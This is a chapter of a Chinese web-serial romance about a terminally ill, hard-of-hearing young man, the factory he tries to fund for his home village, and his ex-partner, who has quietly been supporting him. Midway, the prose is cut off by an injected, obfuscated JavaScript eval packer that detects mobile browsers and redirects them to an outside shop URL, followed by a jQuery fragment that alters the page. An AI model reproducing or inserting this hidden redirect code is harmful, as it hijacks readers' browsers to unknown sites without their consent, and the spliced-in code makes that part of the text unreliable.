门外是一桶草莓牛奶味的珍宝珠。
村口小卖部叔，还给温斯语提了点水果和一包兔粮，“昨天贺女婿来买没货，就说到了，给小语你送过来。”
温斯语伸手接过，点点头。
“水果是你婶让我提来的，小语，谢谢你愿意资助工厂，我家两个孩子都能继续有班上。”
温斯语低着头，手指抠着沉甸甸的糖果桶，明明戴了助听器，却一句话都听不进去。
“哦，还有这个兔粮，也是贺女婿让我们去镇子买来的，说给你们家的兔子们加点餐。”
温斯语一点都不想照顾那窝兔子。
他才是兔子，贺知意七年前把他带去波士顿，给了他一个家。他不喜欢贺知意带其他兔子回家。
贺知意只可以有他，分手了，也只能有他。
那，等他死了之后呢？
温斯语没想过这件事，他的遗嘱也是，律师还在联系他签字确认。但他没想好，要不要留东西给贺知意，留了，贺知意就知道他死了；不留，贺知意以后发现，认为他是小气鬼怎么办？
温斯语回了律师邮件，约时间面谈，挎上包，出门拿药。
他的药快吃完了。
路过村子广播站，大家伙在准备一会儿开会，决定到底是留在造粒厂，还是去城里那边的厂子。
“小语，你不来听会吗？”
温斯语摇摇头，让他们做好决定，告诉他就行。
温斯语已经和慈善机构联系了，原以为对方会直接给他寄支票或汇款，回复表示，明天会来到签约现场，还会有媒体到场呢。
村子的大家一听有媒体来，都开始准备穿什么衣服了，跟过年似的，也召集了人准备摆席。
温斯语很抗拒镁光灯，但看大家这么期待也同意了。
到了医院，温斯语戴上口罩，压低帽檐，跟着来停车场接他的护士，进到vip候诊室。
医院是梅奥诊所为他联系的，私密简约，不需要温斯语再做问诊和检查，只需要带上证件拿药即可。温斯语再三确认了医疗信息不会被查阅。
他当初意识到自己生病，没敢在波士顿就医，就是担心贺知意查到。而现在，贺知意也在雍城。
也想过，自己这么谨慎是不是自作多情。
温斯语脱下大衣和围巾，抱着手臂站在窗前，单薄纤瘦的背脊挺得很直，姿态娴静，听见身后的门被推开也没回头。
推门进来的医生，拿着部分信息被涂黑的英文病例，用英文打招呼：“先生，你好……”刚收回眼，又立即意识到自己正在看什么，再度望过去。
温斯语回头，微微颔首，来到桌前坐下。
戴着口罩，只露了眉眼和额头的温斯语，但就像他方才的背影一样，哪怕看不见，也能想象到这张的五官有多美。
基础的瞳孔检查，温斯语瞳孔自然收缩，像在呼吸，也轻易带走注视者的呼吸。
温斯语拿出手机，同医生沟通，拿到药，正准备离开，忽然被不确定的声音喊住。
“斯语？温、斯语？”
温斯语微微一愣，看向对方摘下口罩干净俊朗的脸，但没想起来在什么地方见过。
“林致远，潞湖高中，比你高两届，我作为毕业生代表致辞的时候，就是你上台送的花。”
林致远看着温斯语柔美的眼睛，声音却开始硬得发紧，“你那天换了件新校服，应该是学校准备的。因为，你的校服上总是有颜料和铅笔的痕迹，但很漂亮…！很特别，让人记住……”
温斯语的眼神很平静，身姿未变，双手交叠在身前。
渐渐地，林致远的声音也低了下去，意识到自己这样不合适，但又无法控制地看着温斯语。
温斯语等待他把话说完，点点头，起身再次准备离开。
“斯…温先生，你真的不打算近一步治疗吗？”
林致远握着温斯语的病例，站起身，“对不起，我知道梅奥那边已经说明了你的医疗决定，但是你还这么年轻。”
温斯语停下脚步，用手机里电子机械的女声反问他：“你能在不破坏我的功能区条件下，将我的肿瘤全切吗？”
林致远怔住。
“我，我今年28，还在专硕和规培，没办法做这样的手术…应该说，全世界能做到这样的医生也没几个，但是，还可以做放疗，可以抑制肿瘤的近一步扩大。你现在已经出现头痛，呕吐，疲倦，视觉闪光等症状，如果不介入，接下来你的生活甚至没办法自理，你最后的时间大概只有三个月……”
温斯语又走神了。
在听见第一句话时，他想到了贺知意。七年前的贺知意也是28岁，自信狂妄，好像这个世界没有任何困难能击倒他。
“……贺医生能够做到。”
温斯语回过神，不确定自己是否听到了贺知意的名字。
林致远见他有反应，赶忙绕过桌子，走到他面前，说：“贺知意、贺医生，在梅奥应该有医生向你提起过，他能做这样的手术。只是，他现在在瑞士做研究，很久都没做过手术了。”
林致远低头沉思片刻，拿出手机，“但我可以让我导师试着联系他，或许他在看过你的肿瘤后，会有兴趣。”
电子机械声再度响起：“关于我的个人医疗隐私，我的律师在文件中写得很清楚。林医生，烦请细阅。”
温斯语不再浪费时间，拿起大衣，转身离开。
林致远僵在原地，愣愣看着温斯语离开的方向，余光瞥见那条驼色印花围巾，拿起追上去时已经不见人影。
-
温斯语这两天什么都没吃。
不知道是药效不够，还是饭菜太难吃，只是闻见味道就想吐。他小腿骨靠着床沿，重重正面跌倒进床铺里，脸上沾有清水，半眯着眼，在眼前凌乱的发丝间隙，看着空无一物的墙壁。
手机躺在床头柜上，兀自闪烁，一条条来自不同人，却抱着同样关心他目的的消息，源源不断地涌进来。
温斯语视而不见。
他应该回消息，应该吃东西，应该同意梅奥三期临床治疗方案……他应该做的事情太多，想做的、能做的却太少。
温斯语闭上眼，想要时光倒流，想要那个可能。
如果他跟贺知意没有分手，他脑中的蝴蝶在还是小小的茧时，贺知意就会发现，一定会发现，然后，贺知意会握着他的手，告诉他别害怕，有他在，什么都不用担心。
人总是这样吗？不停地美化那条被放弃的道路和未来。
温斯语翻过身，在眩晕中昏睡过去。
睡得早，温斯语第二天精神还不错，只是依旧吃不下东西。
好在，他不用说话，也只需要安坐在椅子上就好。这是贺知意教他的，初到美国的温斯语胆小，紧张，时刻露怯，只会躲在贺知意身后，结结巴巴地说话。但有贺知意在，他不用去费心做决定，只需要依赖贺知意。
贺知意喜欢他的依赖，也会教他。
好像自己是一株兰花，腰肢，肩膀，脖颈，清姿舒展，所有人的目光都会被他吸引，但很快又都不敢看他的眼睛。
[可是我不会说话，他们会笑我。]
[有一种兰花就是没有香味的，我的小蝴蝶。]
[可你从来都不叫我小蝴蝶。]
[嗯，因为在贺知意身边，温斯语不需要做这样的兰花；温斯语是需要被呵护，被保护，不能被风吹到的温斯语。]
温斯语收回思绪。
工厂和工人代表已经到了，慈善机构的人却没来，温斯语去到院子外和人联系。
邮件无人回复，简讯已读不回，电话关机……温斯语已经有了不好的预感。他的财务顾问也在这时打来电话，佐证了他的预感。
内部消息，慈善机构正在被警方调查，负责人在前段时间就已经卷走了所有的钱。
温斯语表情依旧平静。
经历过与贺知意分手和知晓自己只有几个月的生命，温斯语对任何意外或灾难，都不会有特别的反应。
他回头看了眼屋子里的人。
各个红光满面，喜笑颜开，期待着新工作和即将到来的媒体。温斯语在这个村子生活了十八年，每家每户的饭都吃过，温正生病每家每户也都给过他钱，欠条都没打过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971807|214675||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
；去外边读书被骚扰欺负，不想告诉温正的，就跟同村的哥哥们说，然后温斯语就被学校警告不得组织暴力团伙，差点没说他是黑老大。
温斯语问财务，他的个人资产还有多少。
“流动资金不多，而且大部分都在医院账户中，斯语，我不会允许你把那部分钱取出。但那些固定资产可以出售，只是需要时间。”
温斯语想到什么，匆匆挂了电话。
他回到家，翻出床底下那个陪葬的盒子，从装着他跟贺知意照片的钱包里，拿出一张银行卡。
这是贺知意的卡。
刚到美国时，给他的第一张借记卡，温斯语担心自己弄丢，一直放在家里。在二人交往后，贺知意又给他办了信用卡副卡，没告诉他被盗刷的概率比弄丢银行卡更高。
里边的钱应该不算多，毕竟好多年没用过了，但加上自己的应该够了。
慈善机构的事，温斯语没有告诉任何人，只说媒体有事来不了。合同签署顺利，财务那边的汇款更顺利。
温斯语走到僻静处，把玩镌刻着贺知意名字的卡片，等待财务回他电话。
“卡里还剩下八十七万美金。”
温斯语怔住，怎么会这么多？
“是，这是个活跃账户。稍等，你说得没错，卡里最早的存款是在七年前，后四年几乎停止了，但是在最近三年，每个月都有笔五万美金的固定汇款。”
温斯语握着手机，一点点抬起眼，眼睫在他嘴唇呼出的白雾中，很轻地颤了颤。
他问：“什么，时候。”
“近三年的第一笔吗？三年前的九月一日，然后每个月的第一天，就会固定往这张卡汇款。像是在支付工资，也像我给我孩子每月寄去的生活费，只是不会像这么多。”
温斯语挂断电话。
他的思绪一片空白，直到握着手机的手垂在身侧，被冷风吹得生疼，心脏和大脑才开始不停翻涌。
总是这样，贺知意，总是这样。
温斯语眼泪蓄满了整个眼眶，他抬手去擦，才发现脸颊，下巴早已被眼泪打湿。
三年前，他跟贺知意提了分手，坐上前往圣彼得堡的飞机，在北国的秋天开始了新的人生，没有贺知意的人生。
所以，这张卡才会收到这么多钱，贺知意担心他一个人过得不好，没钱用。
温斯语在树下低着头，瑟缩肩膀，眼泪一颗颗滚落，砸进他的围巾里，浸湿，变得好重好重，禁锢住温斯语的脖颈，几乎快要窒息。
温斯语躲回了家里。
摘掉助听器，将整个人继续埋进铺满贺知意衣服的床铺里，门外的敲门声和询问声都消失，世界寂静的，只有拥抱的他们。
墙上的光影不断倾斜，像打翻的水桶，黑暗悄然漫延整个房间。
温斯语不吃饭，没吃药，饥饿、疲倦和恶心交替折磨着他，脸色逐渐苍白，心慌，手抖，他撑起身去拿床边的水杯。
院子外的人影轻轻晃过。
温斯语怔愣，本能的知道是贺知意。
他喝了水，还在发颤的手指勉强拢了拢头发，裹上披肩，走到门边，打开了房门。
院子矮门外站着个男人，温斯语眯了眯眼，抬手在眉骨处遮着光，朝着男人走去，是林致远。
手里拿着他的围巾。
林致远都打算先走了，但没想到温斯语竟然出来了。
夜色朦胧，温斯语缓缓向他走来，手放下时，露出凌乱长发下那张冷白秾丽的脸，失神的大眼睛里落寞像涟漪一般晕开。逼人的美，让人忽视他的失落，强行留在他面前，只想再多看一眼月光下的温斯语。
林致远愣在原地有一会儿。
他终于找回三魂七魄，准备开口，身侧被树影遮盖的石板小道，忽然涌进一股无法忽视的寒风。
黑色树影纠缠间，静静走出一个男人。
贺知意一袭黑色大衣，轮廓锐利，周身寒意，戴着黑色皮手套的手里拎着什么，迈不算轻的步子，踱步来到小院门口。
贺知意冷冷睨了眼林致远，又侧脸看向温斯语，两个人隔着夜风卷起的薄雾，安静对视。